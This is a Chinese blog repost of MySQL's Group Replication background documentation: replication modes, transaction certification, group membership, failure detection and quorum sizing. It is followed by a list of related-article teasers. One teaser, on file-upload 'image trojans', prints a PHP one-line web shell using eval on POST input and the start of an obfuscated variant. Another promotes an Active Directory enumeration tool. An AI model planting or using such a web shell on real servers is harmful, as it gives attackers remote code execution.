【MGR】MySQL Group Replication 背景

目录

17.1 Group Replication Background

17.1.1 Replication Technologies

17.1.1.1 Primary-Secondary Replication

17.1.1.2 Group Replication

17.1.2 Group Replication Use Cases

17.1.2.1 Examples of Use Case Scenarios

17.1.3 Group Replication Details

17.1.3.1 Group Membership

17.1.3.2 Failure Detection

17.1.3.3 Fault-tolerance


MySQL Group Replication以及如何安装、配置和监视群组。MySQL Group Replication是MySQL服务器的插件,可以创建弹性、高可用、容错的复制拓扑结构。

群组可以在单主模式下运行,具有自动主选举功能,这意味着一次只有一个服务器接受更新。或者,对于更高级的用户,群组可以部署在多主模式下,其中所有服务器都可以接受更新,即使它们同时发生。

内置的群组成员服务可以保持群组的视图一致,并在任何时候为所有服务器提供可用。服务器可以离开和加入群组,视图会相应更新。有时服务器可能会意外离开群组,此时故障检测机制会检测到并通知群组视图发生了变化。这一切都是自动的。

17.1 Group Replication Background

本节提供了关于MySQL Group Replication的背景信息。

创建容错系统最常见的方式是通过使组件冗余,换句话说,可以移除组件而系统应该继续按预期运行。这会产生一系列挑战,将这些系统的复杂性提升到一个完全不同的水平。具体来说,复制的数据库必须处理这样一个事实:它们需要维护和管理多个服务器,而不仅仅是一个。此外,由于服务器共同合作创建群组,因此必须解决其他经典的分布式系统问题,如网络分区或脑裂场景。

因此,最终的挑战是将数据库和数据复制的逻辑与多个服务器在一致且简单方式下协调的逻辑融合在一起。换句话说,让多个服务器就系统的状态和每个变化的数据达成一致意见。这可以概括为使服务器在每个数据库状态转换上达成一致,以便它们都像一个单一数据库或最终收敛到相同状态一样进行。这意味着它们需要作为(分布式)状态机运行。

MySQL Group Replication提供了具有强大协调性的分布式状态机复制。服务器在属于同一组时会自动协调彼此。该组可以在单主模式下运行,具有自动主选举功能,这意味着一次只有一个服务器接受更新。或者,对于更高级的用户,该组可以部署在多主模式下,其中所有服务器都可以接受更新,即使它们同时发生。这种强大功能是以应用程序不得不解决此类部署所施加的限制为代价的。

有一个内置的群组成员服务,可以在任何给定时间点保持群组的视图一致且可用于所有服务器。服务器可以离开和加入群组,视图会相应更新。有时服务器可能会意外离开群组,在这种情况下,故障检测机制会检测到并通知群组视图发生了变化。这一切都是自动的。

要使事务提交,大多数组中的成员必须就给定事务在全局事务序列中的顺序达成一致意见。决定提交或中止事务是由每个服务器独立完成的,但所有服务器都做出相同的决定。如果存在网络分区,导致成员无法达成一致,那么系统将不会进行进一步操作,直到解决此问题。因此,还有一个内置的、自动的、防止脑裂的保护机制。

所有这些都由提供的群组通信系统(GCS)协议支持。这些协议提供了故障检测机制、群组成员服务以及安全且完全有序的消息传递。所有这些属性都是创建一个系统的关键,该系统确保数据在服务器组中一致复制。这项技术的核心是Paxos算法的实现。它充当了群组通信引擎。

17.1.1 Replication Technologies

在深入了解MySQL Group Replication的细节之前,本节介绍了一些背景概念以及工作原理的概述。这为理解Group Replication所需的内容提供了一些背景,以及经典的异步MySQL复制与Group Replication之间的区别

17.1.1.1 Primary-Secondary Replication

传统的MySQL复制提供了一种简单的主-从复制方法。有一个主服务器(源)和一个或多个从服务器(副本)。主服务器执行事务,提交它们,然后稍后(因此异步地)将它们发送到从服务器,以便重新执行(在基于语句的复制中)或应用(在基于行的复制中)。这是一个shared-nothing 的系统,所有服务器默认都有数据的完整副本。

Figure 17.1 MySQL Asynchronous Replication

还有一种半同步复制,它在协议中添加了一个同步步骤。这意味着主服务器在提交时等待从服务器确认已接收事务。只有在这时,主服务器才会恢复提交操作。

Figure 17.2 MySQL Semisynchronous Replication

在上面的两幅图片中,您可以看到经典的异步MySQL复制协议(以及其半同步)的图示。不同实例之间的箭头表示服务器之间或服务器与客户应用程序之间消息交换。

17.1.1.2 Group Replication

Group Replication是一种用于实现容错系统的技术。复制组是一组具有各自完整数据副本的服务器(一种shared-nothing 的复制方案),它们通过消息传递相互交互。通信层提供了一组保证,如原子消息和全序消息传递。这些是非常强大的属性,可以转化为非常有用的抽象,可用于构建更高级的数据库复制解决方案。

MySQL Group Replication建立在这些属性和抽象之上,实现了一个多源更新全覆盖的复制协议。一个复制组由多个服务器组成,组中的每个服务器可以在任何时间独立执行事务。然而,所有读写事务只有在组批准后才提交。换句话说,对于任何读写事务,组都需要决定是否提交,因此提交操作不是源服务器的单方面决定。只读事务在组内不需要协调,并立即提交。

当一个读写事务在源服务器准备提交时,服务器会原子地广播写值(已更改的行)和相应的写集(已更新行的唯一标识符)。因为事务是通过原子广播发送的,所以组中的所有服务器都会接收到事务,或者都不会接收到。如果它们收到了,那么它们都会按照与之前发送的其他事务相同的顺序接收它。因此,所有服务器都以相同的顺序接收相同的事务集,并为事务建立了全局总序。然而,在不同服务器上并发执行的事务之间可能存在冲突。这种冲突通过检查和比较两个不同且并发执行的事务的写集来检测,这个过程称为认证。在认证过程中,冲突检测是在行级别进行的:如果两个并发执行的事务在不同的服务器上更新同一行,则存在冲突。冲突解决过程规定,被排序在前的事务在所有服务器上都提交,而被排序在后的事务中止,因此在原始服务器上回滚,并由组中的其他服务器丢弃。例如,如果t1和t2在不同站点并发执行,都更改了同一行,并且t2在t1之前被排序,那么t2赢得冲突,t1被回滚。这实际上是一个分布式的“先提交者获胜”规则。请注意,如果两个事务经常发生冲突,那么最好的做法是在同一个服务器上启动它们,在那里它们有机会在本地锁管理器上同步,而不是由于认证而被回滚。

对于应用和外部化认证事务,Group Replication允许服务器偏离事务的约定顺序,如果这不会破坏一致性和有效性。Group Replication是一个最终一致性系统,这意味着一旦传入的流量减少或停止,所有组成员都具有相同的数据内容。在流量流动时,事务可以按稍微不同的顺序外部化,或者在一些成员之前外部化。例如,在多主模式中,一个本地事务可能会在认证后立即外部化,尽管一个在全局顺序中较早的远程事务尚未被应用。当认证过程确定事务之间没有冲突时,这是允许的。在单主模式下,在主服务器上,非冲突的并发本地事务有一小部分机会以与Group Replication约定的全局顺序不同的顺序提交和外部化。对于不接受来自客户端的写操作的次要服务器,事务始终以约定的顺序提交和外部化。

下图描述了MySQL Group Replication协议,并将其与MySQL复制(甚至MySQL半同步复制)进行了比较,您可以看到其中的一些区别。请注意,为了清晰起见,此图中省略了一些底层的共识和Paxos相关消息。

Figure 17.3 MySQL Group Replication Protocol

17.1.2 Group Replication Use Cases

使用Group Replication可以通过将系统状态复制到一组服务器来创建具有冗余的容错系统。即使一些服务器随后发生故障,只要不是全部或大多数,系统仍然可用。根据服务器故障的数量,群组可能会出现性能或可伸缩性下降,但仍然可用。服务器故障是隔离的和独立的。它们由一个群组成员服务跟踪,该服务依赖于一个分布式故障检测器,能够在任何服务器自愿或由于意外停止时发出信号并离开群组。有一个分布式恢复过程,确保当服务器加入群组时它们会自动更新。无需进行服务器故障切换,而且多源更新方式确保即使单个服务器故障,更新也不会被阻塞。总之,MySQL Group Replication保证数据库服务持续可用。

需要理解的是,尽管数据库服务可用,但在服务器意外退出时,连接到该服务的客户端必须被重定向或进行故障转移到另一台服务器。Group Replication并不尝试解决这个问题。连接器、负载均衡器、路由器或某种中间件更适合处理此问题。例如,请参阅MySQL Router 8.0。

总之,MySQL Group Replication提供了一个高度可用、高度弹性、可靠的MySQL服务。

17.1.2.1 Examples of Use Case Scenarios

以下示例是Group Replication的典型用例:

Elastic Replication 弹性复制 - 需要非常灵活的复制基础架构的环境,其中服务器数量必须动态增减,并且副作用尽可能少。例如,云端的数据库服务。

Highly Available Shards 高可用分片 - 分片是实现写扩展的一种流行方法。使用MySQL Group Replication实现高可用分片,其中每个分片映射到一个复制组。

Alternative to Source-Replica replication 替代主-从复制 - 在某些情况下,使用单个源服务器会使其成为一个单一的争用点。在某些情况下,写入整个组可能会更具可伸缩性。

Autonomic Systems 自主系统 - 此外,您可以纯粹地部署MySQL Group Replication以利用内置于复制协议中的自动化功能(在本章和前几章中已经描述过)。

17.1.3 Group Replication Details

本节介绍了Group Replication构建在其中的一些服务的详细信息。

17.1.3.1 Group Membership

在MySQL Group Replication中,一组服务器形成一个复制组。该组有一个名称,采用UUID的形式。该组是动态的,服务器可以随时离开(自愿或非自愿)或加入其中。每当服务器加入或离开时,组会自动调整。

如果一个服务器加入组,它会自动通过从现有服务器获取缺失状态来将自身更新为最新状态。如果一个服务器离开组,例如因维护而关闭,剩余的服务器会注意到它已经离开并自动重新配置组。

Group Replication具有一个群组成员服务,定义了哪些服务器在线并参与组。在线服务器的列表被称为视图。组中的每个服务器在任何给定时刻都有一个一致的视图,显示哪些服务器是活跃参与组的成员。

组成员不仅必须就事务提交达成一致意见,还必须就当前视图达成一致意见。如果现有成员同意新服务器应该成为组的一部分,那么组将重新配置以将该服务器整合到其中,这将触发视图更改。如果一个服务器离开组,无论是自愿还是非自愿,组都会动态重新排列其配置,并触发视图更改。

在成员自愿离开组的情况下,它首先启动动态群组重新配置,在此期间,所有成员都必须就没有离开的服务器达成新视图的一致意见。但是,如果成员是非自愿地离开组的,例如因为意外停止或网络连接中断,它无法启动重新配置。在这种情况下,Group Replication的故障检测机制在短时间内识别到成员已经离开,并提出了一个没有失败成员的组重新配置。与自愿离开组的成员一样,重新配置需要组中大多数服务器的同意。但是,如果组无法达成一致,例如因为分区导致没有大多数在线服务器,系统将无法动态更改配置,并会阻止以防止脑裂情况。这种情况需要管理员干预。

成员可能会短暂离线,然后在故障检测机制检测到其故障之前尝试再次加入组,并在组被重新配置以删除成员之前。在这种情况下,重新加入的成员会忘记其先前的状态,但是如果其他成员向其发送预期发送给其先前状态的消息,这可能会导致问题,包括可能的数据不一致性。如果处于这种情况的成员参与XCom的共识协议,它可能会导致XCom在同一共识轮中提供不同的值,因为在故障之前和之后做出了不同的决定。

为了防止这种可能性,从MySQL 5.7.22开始,服务器在加入组时会被赋予唯一标识符。这使得Group Replication能够意识到同一服务器的新版本(具有相同的地址但是新的标识符)试图加入组,而其旧版本仍然列为成员的情况。新版本将被阻止加入组,直到通过重新配置删除旧版本为止。如果在服务器上停止并重新启动Group Replication,则该成员将成为新版本,并且在疑虑超时之前无法重新加入。

17.1.3.2 Failure Detection

Group Replication的故障检测机制是一个分布式服务,能够识别组中的服务器是否与其他服务器通信,因此被怀疑已经失效。如果组的共识是怀疑可能是真的,那么组会协调决定将该成员驱逐出组。驱逐一个不通信的成员是必要的,因为组需要大多数成员同意事务或视图更改。如果一个成员没有参与这些决策,组必须将其移除,以增加组中包含大多数正常工作成员的机会,并因此能够继续处理事务。

在复制组中,每个成员与其他每个成员之间都有一个点对点的通信通道,形成一个完全连接的图。这些连接由群组通信引擎(XCom,一种Paxos变体)管理,并使用TCP/IP套接字。一个通道用于向成员发送消息,另一个通道用于从成员接收消息。如果一个成员在5秒内未从另一个成员接收到消息,它会怀疑该成员已经失败,并在其自己的Performance Schema表replication_group_members中将该成员的状态标记为UNREACHABLE。通常,两个成员会相互怀疑对方已经失败,因为它们彼此无法通信。不过,也有可能,尽管较少,成员A怀疑成员B已经失败,但成员B并没有怀疑成员A已经失败 - 可能是由于路由或防火墙问题。成员也可以对自己产生怀疑。与组的其余部分隔离的成员怀疑所有其他成员都已经失败。

如果怀疑持续超过10秒,怀疑的成员会试图向组的其他成员传播其对怀疑成员的故障的观点。只有怀疑的成员是通知者时才会这样做,这是从其内部XCom节点编号计算出来的。如果一个成员实际上与组的其余部分隔离开来,它可能会尝试传播其观点,但这将没有任何后果,因为它无法获得其他成员的同意来确立它。只有在怀疑的成员是通知者时,怀疑才会产生后果,并且怀疑持续足够长的时间以传播到组的其他成员,并且其他成员对此达成一致意见。在这种情况下,怀疑的成员将被标记为被驱逐出组的对象,并在驱逐机制检测和执行驱逐后被驱逐。

有关可以配置的Group Replication系统变量的信息,以指定工作组成员对故障情况的响应以及被怀疑已经失败的组成员采取的行动,请参阅对故障检测和网络分区的响应。

17.1.3.3 Fault-tolerance

MySQL Group Replication利用Paxos分布式算法的实现来提供服务器之间的分布式协调。因此,它需要大多数服务器处于活动状态才能达成法定人数,从而做出决定。这直接影响系统能够容忍的故障数量,而不会损害系统及其整体功能。需要容忍f个故障的服务器数量(n)为 n = 2 x f + 1。

实际上,这意味着为了容忍一个故障,组必须包含三个服务器。因此,如果一个服务器失败,仍然有两个服务器可以形成多数(三个中的两个),并允许系统继续自动做出决策和进展。然而,如果第二个服务器不自愿地失败,则该组(仅剩一个服务器)会阻塞,因为没有多数来做出决定。

下面是一个小表,说明上述公式。

Group Size

Majority

Instant Failures Tolerated

1

1

0

2

2

0

3

2

1

4

3

1

5

3

2

6

4

2

7

4

3

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/430451.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

每日一题——LeetCode1582.二进制矩阵中的特殊位置

方法一 模拟 先把矩阵每一行和每一列中1的数量统计出来,然后遍历矩阵,元素为1的位置看他所在的行和列的1的数量是否都为1即为满足题意的点 var numSpecial function(mat) {let m mat.length, n mat[0].lengthlet rows new Array(m).fill(0)let col…

SOAPHound:一款功能强大的基于ADWS协议的活动目录环境枚举工具

关于SOAPHound SOAPHound是一款功能强大的基于ADWS协议的活动目录环境枚举工具,该工具本质上是一个.NET数据收集工具,可以帮助广大研究人员通过活动目录Web服务(ADWS)协议来收集目标活动目录的相关数据,从而实现活动目…

鸿蒙Harmony应用开发—ArkTS声明式开发(通用属性:组件内容模糊)

为当前组件添加内容模糊效果。 说明: 从API Version 10开始支持。后续版本如有新增内容,则采用上角标单独标记该内容的起始版本。 foregroundBlurStyle foregroundBlurStyle(value: BlurStyle, options?: ForegroundBlurStyleOptions) 为当前组件提供…

【前端】i18n Ally插件使用

效果展示: 当鼠标放上去 vscode扩展搜i18n Ally 由于每个项目的语言可能做的都不一样,会导致无法找到真正的路径位置,所以我推荐 在项目的根目录找到.vscode再找到settings.json编辑它 比如我的翻译文件en.ts和zh-CN.ts,都在s…

Android使用陀螺仪

Android使用陀螺仪 陀螺仪基础运用与理解 在Android应用中使用陀螺仪可以帮助实现各种功能,比如游戏控制、虚拟现实体验、运动追踪等。以下是使用Android陀螺仪的基本步骤: 获取传感器服务: 首先,需要获取设备上的陀螺仪传感器服…

Java8 使用 stream().sorted()对List集合进行排序

集合对像定义 集合对象以学生类(StudentInfo)为例,有学生的基本信息,包括:姓名,性别,年龄,身高,生日几项。 使用stream().sorted()进行排序,需要该类实现 C…

Qt 实现橡皮擦拭显示图片

1.简介 在一些游戏中看见类似解密破案的效果,使用手触摸去擦拭图片上的灰尘,然后显示最终的图片,所以也想试试Qt实现的效果。大家有自己想做的效果,都可以尝试。 以下是效果展示图。 可以控制橡皮擦的大小,进行擦拭…

Python开发工具:pycharm使用注意事项以及设置

上一篇文章写了pycharm的安装以及运行,但是在安装过程中遇到了一些问题,接下来详细解析安装过程中遇到的问题,注意事项以及设置配置依赖等信息 安装遇到的问题: 协议许可证关闭不了:PyCharm安装完成后,打…

低代码平台开发——基于React(文末送书)

目录 小程一言适用对象本书达成 书籍介绍作者简介内容介绍书籍目录阅读指导 小程送书 小程一言 《低代码平台开发——基于React》这本书主要围绕低代码平台和React技术的结合展开,为读者提供了关于低代码平台开发的理论和实践知识。 ## 书中内容简介 书中内容分为…

AI大预言模型——ChatGPT与AI绘图及论文高效写作

原文链接:AI大预言模型——ChatGPT与AI绘图及论文高效写作 2023年随着OpenAI开发者大会的召开,最重磅更新当属GPTs,多模态API,未来自定义专属的GPT。微软创始人比尔盖茨称ChatGPT的出现有着重大历史意义,不亚于互联网…

文件上传之图片马

图片马介绍 图片马&#xff1a;就是在正常图片中插入木马。 图片马的制作 1.我们先创建php木马文件1.php&#xff0c;内容有以下两种方式&#xff1a; <?php eval($_POST[a]); ?> /* 常规一句话木马 */ <?php $aPD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8; $myfile…

Python图像处理【21】基于卷积神经网络增强微光图像

基于卷积神经网络增强微光图像 0. 前言1. MBLLEN 网络架构2. 增强微光图像小结系列链接 0. 前言 在本节中&#xff0c;我们将学习如何基于预训练的深度学习模型执行微光/夜间图像增强。由于难以同时处理包括亮度、对比度、伪影和噪声在内的所有因素&#xff0c;因此微光图像增…

Qt::TabWidget

在Tab的右上角添加控件 QPushButton *add new QPushButton; add->setText(""); add->resize(30,30); ui->tabWidget->setCornerWidget(add,Qt::TopRightCorner); 结果&#xff1a; Tab添加子页 QWidget*newp new QWidget; ui->tabWidget->add…

Chain-of-thought prompting(链式思考提示)

1.大模型“涌现”的思维链 最近 AI 大厂的开发人员和高校的 NLP 研究人员&#xff0c;都在琢磨&#xff0c;怎么让大模型“涌现”。 所谓“涌现”&#xff0c;在大模型领域指的是当模型突破某个规模时&#xff0c;性能显著提升&#xff0c;表现出让人惊艳、意想不到的能力。比如…

【进击的算法】动态规划——01背包

&#x1f37f;本文主题&#xff1a;动态规划 01背包 背包问题 C/C 算法 &#x1f388;更多算法&#xff1a;基础回溯算法 基础动态规划 &#x1f495;我的主页&#xff1a;蓝色学者的主页 文章目录 一、前言二、概念✔️动态规划概念✔️01背包的概念 三、问题描述与讲解&#…

《PyTorch深度学习实践》第十一讲卷积神经网络进阶

一、 1、卷积核超参数选择困难&#xff0c;自动找到卷积的最佳组合。 2、1x1卷积核&#xff0c;不同通道的信息融合。使用1x1卷积核虽然参数量增加了&#xff0c;但是能够显著的降低计算量(operations) 3、Inception Moudel由4个分支组成&#xff0c;要分清哪些是在Init里定义…

数据库设计革命:逻辑模型的演变与面向对象的突破

✨✨ 欢迎大家来访Srlua的博文&#xff08;づ&#xffe3;3&#xffe3;&#xff09;づ╭❤&#xff5e;✨✨ &#x1f31f;&#x1f31f; 欢迎各位亲爱的读者&#xff0c;感谢你们抽出宝贵的时间来阅读我的文章。 我是Srlua&#xff0c;在这里我会分享我的知识和经验。&#x…

C 判断

判断结构要求程序员指定一个或多个要评估或测试的条件&#xff0c;以及条件为真时要执行的语句&#xff08;必需的&#xff09;和条件为假时要执行的语句&#xff08;可选的&#xff09;。 C 语言把任何非零和非空的值假定为 true&#xff0c;把零或 null 假定为 false。 下面…

YOLOv7优化改进:下采样创新篇 | 新颖的下采样ADown | YOLOv9

💡💡💡本文独家改进:新颖的下采样ADown来自于YOLOv9,助力YOLOv7,将ADown添加在backbone和head处,提供多个yaml改进方法 💡💡💡在多个私有数据集和公开数据集VisDrone2019、PASCAL VOC实现涨点 收录 YOLOv7原创自研 https://blog.csdn.net/m0_63774211/ca…

Jmeter学习系列之七:并发线程组Concurrency Thread Group详解

一、Concurrency Thread Group的介绍 Concurrency Thread Group提供了用于配置多个线程计划的简化方法该线程组目的是为了保持并发水平,意味着如果并发线程不够,则在运行线程中启动额外的线程和Standard Thread Group不同,它不会预先创建所有线程,因此不会使用额外的内存对…